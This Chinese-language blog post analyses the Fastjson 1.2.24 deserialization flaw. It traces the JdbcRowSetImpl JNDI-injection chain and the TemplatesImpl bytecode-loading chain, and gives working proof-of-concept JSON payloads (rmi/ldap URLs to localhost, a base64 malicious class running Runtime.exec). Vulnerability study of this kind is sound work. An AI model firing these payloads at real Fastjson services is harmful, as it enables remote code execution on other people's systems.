0x00 介绍
我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type
这个属性的
这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
0x01 JdbcRowSetImpl 反序列化
环境
- JDK 8U65
- 1.2.22 <= fastjson <= 1.2.24
- 出网
注:JDK版本尽量在未修复JDNI漏洞之前,主要是为了分析漏洞点
分析
首先在com.sun.rowset.JdbcRowSetImpl#connect()方法里调用了lookup方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); } } }
|
看一下getDataSourceName做了什么,返回了个dataSource,可以看一下dataSource是否可控
1 2 3
| public String getDataSourceName() { return dataSource; }
|
在javax.sql.rowset.BaseRowSet#getDataSourceName方法中,可以看到是dataSource可控的
所以lookup中的参数就是可控的dataSource,存在JNDI注入
而且也符合调用setter条件
1 2 3 4 5 6 7 8 9 10
| public void setDataSourceName(String name) throws SQLException { if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; } URL = null; }
|
可以找到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法中调用了connect方法
也符合setter要求
1 2 3 4 5 6 7 8
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } }
|
POC
首先写入**@type对应的类名com.sun.rowset.JdbcRowSetImpl**
第二步写入JNDI注入的地址
第三步写入要调用的方法
JNDI+RMI
1 2 3 4 5 6 7 8
| public class JdbcRowSetImpl { public static void main(String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:8085/vBPQAsoG\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
|
JNDI+LDAP
1 2 3 4 5 6 7 8
| public class JdbcRowSetImpl { public static void main(String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:8085/vBPQAsoG\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
|
0x02 Templateslmpl反序列化
Fastjson通过**_bytecodes字段传入恶意类,调用outputProperties属性的getter**方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
Templateslmpl利用链在CC3 chain中就有用到过
原因是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法中调用了newInstance方法,实例化了**_class**对象,导致了恶意动态类加载
而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。
调用链
1 2 3 4 5 6
| TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader TransletClassLoader.defineClass()
|
POC
需要将其先编译,然后将class文件转为base64形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class Calc extends AbstractTranslet{ public static void main(String[] args) throws Exception{ Runtime.getRuntime().exec("Calc");
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
1 2 3 4 5 6 7 8 9 10
| public class Templateslmpl { public static void main(String[] args) { String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\"yv66v...AEAIgABACMAAAACACQ=\"]," + "\"_name\":\"hello\"," + "\"_tfactory\":{ }," + "\"_outputProperties\":{ }}"; JSON.parseObject(s,Feature.SupportNonPublicField); } }
|
JavaBeanDeserializer —> FieldDeserializer之间会循环
当key == _outputProperties时,才会调用invoke,后面就是CC3 chain的调用了
1 2 3 4 5 6 7 8 9 10 11
| JSON.parseObject() DefaultJSONParser.parse() parse.parseObject() parseObject#deserializer.deserialze() JavaBeanDeserializer.parseField() parseField.parseField() fieldDeserializer.parseField() DefaultFieldDeserializer.parseField() parseField.setValue() FieldDeserializer.setValue() method.invoke()
|
0x03 参考资料
https://www.javasec.org/java-vuls/FastJson.html
https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#0x03-%E5%9F%BA%E4%BA%8E-TemplatesImpl-%E7%9A%84%E5%88%A9%E7%94%A8%E9%93%BE